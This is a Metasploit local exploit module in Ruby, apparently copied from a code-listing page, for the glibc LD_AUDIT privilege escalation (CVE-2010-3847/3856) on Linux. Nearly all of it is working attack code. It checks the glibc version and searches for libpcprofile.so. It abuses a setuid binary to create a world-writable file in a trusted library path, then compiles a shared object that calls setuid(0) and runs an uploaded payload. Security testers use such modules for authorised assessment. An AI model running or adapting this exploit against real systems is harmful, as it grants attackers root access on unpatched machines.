1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 |
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core/exploit/local/linux' require 'msf/core/exploit/exe' class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Post::File include Msf::Exploit::EXE include Msf::Exploit::FileDropper include Msf::Exploit::Local::Linux def initialize(info = {}) super(update_info(info, 'Name' => 'glibc LD_AUDIT Arbitrary DSO Load Privilege Escalation', 'Description'=> %q{ This module attempts to gain root privileges on Linux systems by abusing a vulnerability in the GNU C Library (glibc) dynamic linker. glibc ld.so in versions before 2.11.3, and 2.12.x before 2.12.2 does not properly restrict use of the LD_AUDIT environment variable when loading setuid executables. This allows loading arbitrary shared objects from the trusted library search path with the privileges of the suid user. This module uses LD_AUDIT to load the libpcprofile.so shared object, distributed with some versions of glibc, and leverages arbitrary file creation functionality in the library constructor to write a root-owned world-writable file to a system trusted search path (usually /lib). The file is then overwritten with a shared object then loaded with LD_AUDIT resulting in arbitrary code execution. This module has been tested successfully on glibc version 2.11.1 on Ubuntu 10.04 x86_64 and version 2.7 on Debian 5.0.4 i386. RHEL 5 is reportedly affected, but untested. Some glibc distributions do not contain the libpcprofile.so library required for successful exploitation. }, 'License'=> MSF_LICENSE, 'Author' => [ 'Tavis Ormandy', # Discovery and exploit 'zx2c4', # "I Can't Read and I Won't Race You Either" exploit 'Marco Ivaldi',# raptor_ldaudit and raptor_ldaudit2 exploits 'Todor Donev', # libmemusage.so exploit 'Brendan Coles'# Metasploit ], 'DisclosureDate' => 'Oct 18 2010', 'Platform' => 'linux', 'Arch' => [ ARCH_X86, ARCH_X64 ], 'SessionTypes' => [ 'shell', 'meterpreter' ], 'Targets'=> [ [ 'Automatic', { } ], [ 'Linux x86', { 'Arch' => ARCH_X86 } ], [ 'Linux x64', { 'Arch' => ARCH_X64 } ] ], 'DefaultTarget'=> 0, 'References' => [ [ 'CVE', '2010-3847' ], [ 'CVE', '2010-3856' ], [ 'BID', '44154' ], [ 'BID', '44347' ], [ 'EDB', '15274' ], [ 'EDB', '15304' ], [ 'EDB', '18105' ], [ 'URL', 'http://seclists.org/fulldisclosure/2010/Oct/257' ], [ 'URL', 'http://seclists.org/fulldisclosure/2010/Oct/344' ], [ 'URL', 'https://www.ubuntu.com/usn/usn-1009-1' ], [ 'URL', 'https://security-tracker.debian.org/tracker/CVE-2010-3847' ], [ 'URL', 'https://security-tracker.debian.org/tracker/CVE-2010-3856' ], [ 'URL', 'https://access.redhat.com/security/cve/CVE-2010-3847' ], [ 'URL', 'https://access.redhat.com/security/cve/CVE-2010-3856' ] ] )) register_options( [ OptString.new('SUID_EXECUTABLE', [ true, 'Path to a SUID executable', '/bin/ping' ]), OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]) ]) end def base_dir datastore['WritableDir'] end def suid_exe_path datastore['SUID_EXECUTABLE'] end def check glibc_banner = cmd_exec 'ldd --version' glibc_version = Gem::Version.new glibc_banner.scan(/^ldd\s+\(.*\)\s+([\d\.]+)/).flatten.first if glibc_version.to_s.eql? '' vprint_error 'Could not determine the GNU C library version' return CheckCode::Safe elsif glibc_version >= Gem::Version.new('2.12.2') || (glibc_version >= Gem::Version.new('2.11.3') && glibc_version < Gem::Version.new('2.12')) vprint_error "GNU C Library version #{glibc_version} is not vulnerable" return CheckCode::Safe end vprint_good "GNU C Library version #{glibc_version} is vulnerable" lib = 'libpcprofile.so' @lib_dir = nil vprint_status "Checking for #{lib} in system search paths" search_paths = cmd_exec "env -i LD_PRELOAD=#{rand_text_alpha rand(10..15)} LD_DEBUG=libs env 2>&1 | grep 'search path='" search_paths.split('path=')[1..-1].join.split(':').each do |path| lib_dir = path.to_s.strip next if lib_dir.eql? '' libs = cmd_exec "ls '#{lib_dir}'" if libs.include? lib @lib_dir = lib_dir break end end if @lib_dir.nil? vprint_error "Could not find #{lib}" return CheckCode::Safe end vprint_good "Found #{lib} in #{@lib_dir}" unless setuid? suid_exe_path vprint_error "#{suid_exe_path} is not setuid" return CheckCode::Detected end vprint_good "#{suid_exe_path} is setuid" CheckCode::Appears end def upload_and_chmodx(path, data) print_status "Writing '#{path}' (#{data.size} bytes) ..." rm_f path write_file path, data cmd_exec "chmod +x '#{path}'" register_file_for_cleanup path end def on_new_session(client) # remove root owned shared object from system load path if client.type.eql? 'meterpreter' client.core.use 'stdapi' unless client.ext.aliases.include? 'stdapi' client.fs.file.rm @so_path else client.shell_command_token "rm #{@so_path}" end end def exploit check_status = check if check_status == CheckCode::Appears print_good 'The target appears to be vulnerable' elsif check_status == CheckCode::Detected fail_with Failure::BadConfig, "#{suid_exe_path} is not suid" else fail_with Failure::NotVulnerable, 'Target is not vulnerable' end payload_name = ".#{rand_text_alphanumeric rand(5..10)}" payload_path = "#{base_dir}/#{payload_name}" # Set target uname = cmd_exec 'uname -m' vprint_status "System architecture is #{uname}" if target.name.eql? 'Automatic' case uname when 'x86_64' my_target = targets[2] when /x86/, /i\d86/ my_target = targets[1] else fail_with Failure::NoTarget, 'Unable to automatically select a target' end else my_target = target end print_status "Using target: #{my_target.name}" cpu = nil case my_target['Arch'] when ARCH_X86 cpu = Metasm::Ia32.new when ARCH_X64 cpu = Metasm::X86_64.new else fail_with Failure::NoTarget, 'Target is not compatible' end # Compile shared object so_stub = %| extern int setuid(int); extern int setgid(int); extern int system(const char *__s); void init(void) __attribute__((constructor)); void __attribute__((constructor)) init() { setuid(0); setgid(0); system("#{payload_path}"); } | begin so = Metasm::ELF.compile_c(cpu, so_stub).encode_string(:lib) rescue print_error "Metasm encoding failed: #{$ERROR_INFO}" elog "Metasm encoding failed: #{$ERROR_INFO.class} : #{$ERROR_INFO}" elog "Call stack:\n#{$ERROR_INFO.backtrace.join "\n"}" fail_with Failure::Unknown, 'Metasm encoding failed' end # Upload shared object so_name = ".#{rand_text_alphanumeric rand(5..10)}" so_path = "#{base_dir}/#{so_name}" upload_and_chmodx so_path, so # Upload exploit @so_path = "#{@lib_dir}/#{so_name}.so" exp = %( umask 0 LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="#{@so_path}" #{suid_exe_path} 2>/dev/null umask 0022 cat #{so_path} > #{@so_path} LD_AUDIT="#{so_name}.so" #{suid_exe_path} echo > #{@so_path} ) exp_name = ".#{rand_text_alphanumeric rand(5..10)}" exp_path = "#{base_dir}/#{exp_name}" upload_and_chmodx exp_path, exp # Upload payload upload_and_chmodx payload_path, generate_payload_exe # Launch exploit print_status 'Launching exploit...' # The echo at the end of the command is required # else the original session may die output = cmd_exec "#{exp_path}& echo " output.each_line { |line| vprint_status line.chomp } end end |